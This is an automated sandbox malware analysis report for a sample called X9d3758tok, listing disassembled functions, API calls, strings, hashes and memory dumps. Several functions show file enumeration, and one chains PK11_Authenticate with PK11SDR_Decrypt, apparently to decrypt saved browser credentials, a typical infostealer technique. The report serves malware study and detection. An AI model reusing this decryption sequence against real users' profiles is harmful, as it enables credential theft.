Instruction Fuzzy Hash: C002E1B2B043005BE7149F719A8932B76F5BBC571CF18893CD85A87B01EB74E84AC796

Function 6C787C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C787C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C787C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C787D1E

Part of subcall function 6C787870: SECOID_FindOID_Util.NSS3(?,?,?,6C7891C5), ref: 6C78788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C787D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C787D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C787DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C787DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C787DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C787E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C787E58

Part of subcall function 6C787870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7891C5), ref: 6C7878BB
Part of subcall function 6C787870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C7891C5), ref: 6C7878FA
Part of subcall function 6C787870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C7891C5), ref: 6C787930
Part of subcall function 6C787870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7891C5), ref: 6C787951
Part of subcall function 6C787870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C787964
Part of subcall function 6C787870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C78797A
Part of subcall function 6C787870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C787988
Part of subcall function 6C787870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C787998
Part of subcall function 6C787870: free.MOZGLUE(00000000), ref: 6C7879A7
Part of subcall function 6C787870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C7891C5), ref: 6C7879BB
Part of subcall function 6C787870: PR_GetCurrentThread.NSS3(?,?,?,?,6C7891C5), ref: 6C7879CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C787E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C787F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C787F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C787FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C787FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C788038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C788050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C788093
SECOID_FindOID_Util.NSS3 ref: 6C787F29

Part of subcall function 6C7807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C728298,?,?,?,6C71FCE5,?), ref: 6C7807BF
Part of subcall function 6C7807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7807E6
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C78081B
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C780825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C788072
SECOID_FindOID_Util.NSS3 ref: 6C7880F5

Part of subcall function 6C78BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C78800A,00000000,?,00000000,?), ref: 6C78BC3F

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 5199da9e8cc677082fb40eea6fdec0df6d20ce580838e37c8f70838f40e83d47
Instruction ID: 5f602c9457f5f62814d8b54b80d96c043a78e535dcbf5206becf3cbc3de31a41
Opcode Fuzzy Hash: 5199da9e8cc677082fb40eea6fdec0df6d20ce580838e37c8f70838f40e83d47
Instruction Fuzzy Hash: D2E1B0716063009FD710CF29CA88B5AB7E5AF84318F14497DFA9A9BB51E731EC05CB92

Function 004147C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004147D0
HeapAlloc.KERNEL32(00000000), ref: 004147D7
wsprintfA.USER32 ref: 004147F6
FindFirstFileA.KERNEL32(?,?), ref: 0041480D
StrCmpCA.SHLWAPI(?,00420FAC), ref: 0041483B
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414851
FindNextFileA.KERNEL32(000000FF,?), ref: 004148DB
FindClose.KERNEL32(000000FF), ref: 004148F0
lstrcatA.KERNEL32(?,0085DCA0,?,00000104), ref: 00414915
lstrcatA.KERNEL32(?,00861458), ref: 00414928
lstrlenA.KERNEL32(?), ref: 00414935
lstrlenA.KERNEL32(?), ref: 00414946

Strings

%s\*, xrefs: 004147EA
%s\%s, xrefs: 0041486B

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 69dcb7b57205299e4e353f4ff5e3bd6fee26fba3a9fd294cee8ca8b6e7cecfcb
Instruction ID: 4add3c5e25650dce6a2d7e09fe25a02d5f48076a238705849ce39c3d90be09a7
Opcode Fuzzy Hash: 69dcb7b57205299e4e353f4ff5e3bd6fee26fba3a9fd294cee8ca8b6e7cecfcb
Instruction Fuzzy Hash: 145187B1944218ABCB20EB70DC89FEE737DAB58300F40459EB64996190EB74EBC4CF95

Function 6C711C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C711C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C711C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C711CA1
GetLengthSid.ADVAPI32(?), ref: 6C711CA9
malloc.MOZGLUE(00000000), ref: 6C711CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C711CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C711CE4
GetLengthSid.ADVAPI32(?), ref: 6C711CEC
malloc.MOZGLUE(00000000), ref: 6C711CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C711D0F
CloseHandle.KERNEL32(?), ref: 6C711D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C711D4D
GetLastError.KERNEL32 ref: 6C711D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C711D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C711D7A

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: c9c48608c6a7d0ef4dfd1da6576555b1cabdd77f5792658e58cec7ad3dfaef42
Instruction ID: 4bca7daa0df0410c88b6ad94f18e52df5afd53f83ea2ff0b7ad3ba7952a3f7e2
Opcode Fuzzy Hash: c9c48608c6a7d0ef4dfd1da6576555b1cabdd77f5792658e58cec7ad3dfaef42
Instruction Fuzzy Hash: F03160F1600228AFDF21AF64CD4CAAEBBB8EF4A309F004475F50893611EB305994CFA5

Function 6C713D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C713DFB
__allrem.LIBCMT ref: 6C713EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C713FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C714047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7140DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C71415F
__allrem.LIBCMT ref: 6C71416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C714288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7142AB
__allrem.LIBCMT ref: 6C7142B7

Strings

%03d, xrefs: 6C7142E8
%02d, xrefs: 6C714086
%lld, xrefs: 6C713FB2
%04d, xrefs: 6C71407B

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 010cb63fbbf0dfe1d23d92e3136072b2e0d1190ed6017facad2c66c5885c8348
Instruction ID: ae605940b8dc794a015521b3b26da17dbb9ca3ef7edc9d8ba521f971a1c69ef8
Opcode Fuzzy Hash: 010cb63fbbf0dfe1d23d92e3136072b2e0d1190ed6017facad2c66c5885c8348
Instruction Fuzzy Hash: FEF13471A0C7409FD725CF38CA45A5BB7FAEF85348F188A2DE489A7A51E730D845CB42

Function 6C6C1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6C1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6C1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C6C1FB7

Strings

another row available, xrefs: 6C6C2287
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C6C1F83
attached databases must use the same text encoding as main database, xrefs: 6C6C20CA
sqlite_master, xrefs: 6C6C1C61
no more rows available, xrefs: 6C6C2264
unknown error, xrefs: 6C6C2291
sqlite_temp_master, xrefs: 6C6C1C5C
table, xrefs: 6C6C1C8B
abort due to ROLLBACK, xrefs: 6C6C2223
unsupported file format, xrefs: 6C6C2188

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 3c6689322991b113d06067b0192cfd00dead50c78372eafedef61e229562049d
Instruction ID: efd54ee326fc34e6d75821a05bba4cd8530cf7b4684cac331ac04db622c2603d
Opcode Fuzzy Hash: 3c6689322991b113d06067b0192cfd00dead50c78372eafedef61e229562049d
Instruction Fuzzy Hash: C6129E707083418FD715CF19C48465AB7F2FF89318F18896EE9958BB52D731E84ACB8A

Function 6C6AECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6AED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6AEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6AEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C6AEF98

Strings

%s at line %d of [%.10s], xrefs: 6C6AF492
database corruption, xrefs: 6C6AF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6AF483

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 7428d2dcdb05b615a909ca3eaa9f9c4db4d724960bb91c7818708294305f672f
Instruction ID: ba4f09a96e196d10d35696aef8f553cf3d828a71724d6e01c8a78903c7b789a5
Opcode Fuzzy Hash: 7428d2dcdb05b615a909ca3eaa9f9c4db4d724960bb91c7818708294305f672f
Instruction Fuzzy Hash: E5620330A042458FEB14CFA9C480B9ABBF1BF45318F184199D9456BB92D735EC87CBDA

Function 6C74FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C74FD06

Part of subcall function 6C74F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C74F696
Part of subcall function 6C74F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C74F789
Part of subcall function 6C74F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C74F796
Part of subcall function 6C74F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C74F79F
Part of subcall function 6C74F670: SECITEM_DupItem_Util.NSS3 ref: 6C74F7F0

Part of subcall function 6C773440: PK11_GetAllTokens.NSS3 ref: 6C773481
Part of subcall function 6C773440: PR_SetError.NSS3(00000000,00000000), ref: 6C7734A3
Part of subcall function 6C773440: TlsGetValue.KERNEL32 ref: 6C77352E
Part of subcall function 6C773440: EnterCriticalSection.KERNEL32(?), ref: 6C773542
Part of subcall function 6C773440: PR_Unlock.NSS3(?), ref: 6C77355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C74FDAD

Part of subcall function 6C77FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C729003,?), ref: 6C77FD91
Part of subcall function 6C77FD80: PORT_Alloc_Util.NSS3(A4686C78,?), ref: 6C77FDA2
Part of subcall function 6C77FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C78,?,?), ref: 6C77FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C74FE00

Part of subcall function 6C77FD80: free.MOZGLUE(00000000,?,?), ref: 6C77FDD1

Part of subcall function 6C76E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C76E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C74FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C74FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C74FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C74FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C74FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C74FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C74FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C750007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C750029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C750044

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: d1023390d1a29dbb907687c9430dae06f58021628c1ad5b42c1fb01a53c69b9f
Instruction ID: 5037a4cda6a6ef8864b0444e889bec76406b6556fa9aa5b68645995061c04e84
Opcode Fuzzy Hash: d1023390d1a29dbb907687c9430dae06f58021628c1ad5b42c1fb01a53c69b9f
Instruction Fuzzy Hash: 22B1D1B1604301AFE304CF29C984A6AF7E5FF88318F548A2DF99987A41E770E945CB91

Function 6C747D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C747DDC

Part of subcall function 6C7807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C728298,?,?,?,6C71FCE5,?), ref: 6C7807BF
Part of subcall function 6C7807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7807E6
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C78081B
Part of subcall function 6C7807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C780825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C747DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C747F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C747F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C747F98
PK11_FreeSymKey.NSS3(?), ref: 6C747FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C747FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C748000

Part of subcall function 6C769430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C747F0C,?,00000000,00000000,00000000,?), ref: 6C76943B
Part of subcall function 6C769430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C76946B
Part of subcall function 6C769430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C769546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C748110
PK11_FreeSymKey.NSS3(00000000), ref: 6C74811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C74822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C74823C

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 73ddc672e50a3afb949f25575cdb014b5f2e0c91496b6ed002a85b03fdd9e5eb
Instruction ID: 09ae221c06bbc99512a107e5100ee6ce5e0ee9c7804e926b9f9ae8533c260961
Opcode Fuzzy Hash: 73ddc672e50a3afb949f25575cdb014b5f2e0c91496b6ed002a85b03fdd9e5eb
Instruction Fuzzy Hash: B8C151B1D0026DDBEB21CF14CD44FEAB7B8AB15348F0481EAE91DA6641E7319E85CF91

Function 0040EE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040EE3E
FindFirstFileA.KERNEL32(?,?), ref: 0040EE55
StrCmpCA.SHLWAPI(?,00421630), ref: 0040EEAB
StrCmpCA.SHLWAPI(?,00421634), ref: 0040EEC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0040F3AE
FindClose.KERNEL32(000000FF), ref: 0040F3C3

Strings

%s\*.*, xrefs: 0040EE32

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 8490420a6170fecc762cbe5b1398f6c5ab40b36231321966341d331e3ed8debd
Instruction ID: d58f243a0e81953373eaf00141ed8e3e8bc28467f540fc5aad09a1a01b74b281
Opcode Fuzzy Hash: 8490420a6170fecc762cbe5b1398f6c5ab40b36231321966341d331e3ed8debd
Instruction Fuzzy Hash: 79E16371A121189ADB14FB61DC62EEE7339AF50314F4045EEB10A62092EF386BD9CF59

Function 0040C920 Relevance: 16.6, APIs: 11, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040C953
lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,0085DBE0), ref: 0040C971
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C97C
PK11_GetInternalKeySlot.NSS3 ref: 0040C98A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C9A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C9EB
memcpy.MSVCRT(?,?,?), ref: 0040CA12
lstrcatA.KERNEL32(?,00420B47), ref: 0040CA43
lstrcatA.KERNEL32(?,00420B4B), ref: 0040CA57
PK11_FreeSlot.NSS3(?), ref: 0040CA61
lstrcatA.KERNEL32(?,00420B4E), ref: 0040CA78

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
